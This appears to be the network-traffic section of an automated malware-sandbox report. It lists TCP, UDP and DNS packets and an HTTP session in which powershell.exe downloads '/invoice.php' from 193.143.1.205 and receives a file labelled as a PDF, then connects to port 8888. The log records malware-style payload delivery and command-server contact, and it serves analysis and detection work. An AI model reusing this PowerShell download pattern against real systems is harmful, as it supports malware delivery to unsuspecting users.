Jan 10, 2025 21:25:05.347866058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347870111 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347884893 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347891092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347903967 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.347971916 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.368809938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.368824959 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.368834019 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.368882895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.368896961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.368901968 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.368998051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.369002104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.369014025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.369019985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.369024992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.369064093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.369064093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.369064093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.369102955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.369107962 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.369118929 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.369124889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.369129896 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.369142056 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.369163036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.369292974 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.369419098 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.391530037 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391536951 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391556025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391561985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391580105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391587019 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391599894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391628027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391644001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.391680002 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391695023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391711950 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391717911 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391724110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391731024 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.391731977 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.391757011 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.391805887 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.392030954 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.392038107 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.392050028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.392066002 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.392071962 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.392091036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.392096996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.392108917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.392148018 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.392148018 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.392225981 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.428090096 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.435645103 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435657024 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435676098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435683012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435691118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435735941 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435741901 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435746908 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.435746908 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.435749054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435756922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435836077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435842991 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435856104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435868025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435874939 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435885906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435888052 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.435888052 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.435888052 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.435937881 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435961008 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435967922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.435986042 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.436022997 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.436026096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436033964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436039925 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436047077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436157942 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.436171055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436177015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436188936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436222076 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.436255932 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436261892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436275005 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436280966 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436288118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436320066 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.436345100 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.436733961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436741114 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436748028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436754942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436788082 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436821938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436834097 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436836958 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.436841965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436888933 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.436925888 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436932087 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436944962 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436950922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.436956882 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437007904 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.437007904 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.437011003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437167883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437182903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437195063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437201023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437207937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437216997 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437230110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437228918 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.437237024 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437280893 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.437601089 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437609911 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437622070 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437671900 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.437690020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437716961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437733889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437745094 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.437748909 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437757015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437762022 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437768936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437774897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437781096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437792063 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.437793016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437802076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.437854052 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.437854052 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.438128948 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438199997 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438211918 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438216925 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438222885 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438251972 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438258886 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438266039 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438271046 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438291073 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.438291073 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.438318968 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.438369989 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438376904 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438389063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438395023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438400984 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438436031 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.438453913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438483000 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.438515902 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.438668013 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438704014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438720942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438801050 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438807964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438819885 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438826084 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438833952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.438846111 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.439335108 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.439335108 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.447278023 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.459846020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.459856033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.459867954 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.459907055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.459913015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.459913969 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.459924936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.459934950 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.459942102 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.459958076 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.460206985 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.460804939 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.482348919 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482389927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482450008 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482466936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482486963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482491970 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482505083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482512951 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482512951 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.482512951 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.482563019 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.482568026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482574940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482583046 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482589006 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482698917 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.482702017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482708931 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482716084 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482728004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482765913 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.482765913 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.482887983 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482978106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482985020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.482996941 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.483002901 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.483010054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.483023882 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.483057022 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.483057022 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.517328978 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.523416042 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.854041100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854065895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854157925 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854162931 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854178905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854185104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854201078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854207993 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854224920 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.854224920 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.854238033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854244947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854249001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854254961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854264975 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.854265928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854283094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854288101 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.854290962 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.854449034 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.854922056 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.855189085 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:06.290730953 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:07.005891085 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:07.010735035 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:07.010832071 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:07.011024952 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:07.015785933 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:07.836890936 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:07.883810043 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:08.024602890 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:18.589523077 CET	62860	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:25:18.596343994 CET	53	62860	1.1.1.1	192.168.2.9
Jan 10, 2025 21:25:18.596458912 CET	62860	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:25:18.602598906 CET	53	62860	1.1.1.1	192.168.2.9
Jan 10, 2025 21:25:19.048166990 CET	62860	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:25:19.053354025 CET	53	62860	1.1.1.1	192.168.2.9
Jan 10, 2025 21:25:19.053504944 CET	62860	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:25:32.110825062 CET	58619	53	192.168.2.9	162.159.36.2
Jan 10, 2025 21:25:32.115695000 CET	53	58619	162.159.36.2	192.168.2.9
Jan 10, 2025 21:25:32.115792990 CET	58619	53	192.168.2.9	162.159.36.2
Jan 10, 2025 21:25:32.120685101 CET	53	58619	162.159.36.2	192.168.2.9
Jan 10, 2025 21:25:32.587513924 CET	58619	53	192.168.2.9	162.159.36.2
Jan 10, 2025 21:25:32.592453003 CET	53	58619	162.159.36.2	192.168.2.9
Jan 10, 2025 21:25:32.592588902 CET	58619	53	192.168.2.9	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:25:15.165455103 CET	60479	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:25:18.588993073 CET	53	63997	1.1.1.1	192.168.2.9
Jan 10, 2025 21:25:32.110116005 CET	53	61015	162.159.36.2	192.168.2.9
Jan 10, 2025 21:25:32.599320889 CET	52484	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:25:32.607391119 CET	53	52484	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:25:15.165455103 CET	192.168.2.9	1.1.1.1	0x263e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:32.599320889 CET	192.168.2.9	1.1.1.1	0xbe69	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:25:15.173280954 CET	1.1.1.1	192.168.2.9	0x263e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:25:15.984775066 CET	1.1.1.1	192.168.2.9	0x3615	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:15.984775066 CET	1.1.1.1	192.168.2.9	0x3615	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:32.607391119 CET	1.1.1.1	192.168.2.9	0xbe69	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49707	193.143.1.205	80	7440	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:03.946471930 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:25:04.743534088 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:25:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:25:04.743561983 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
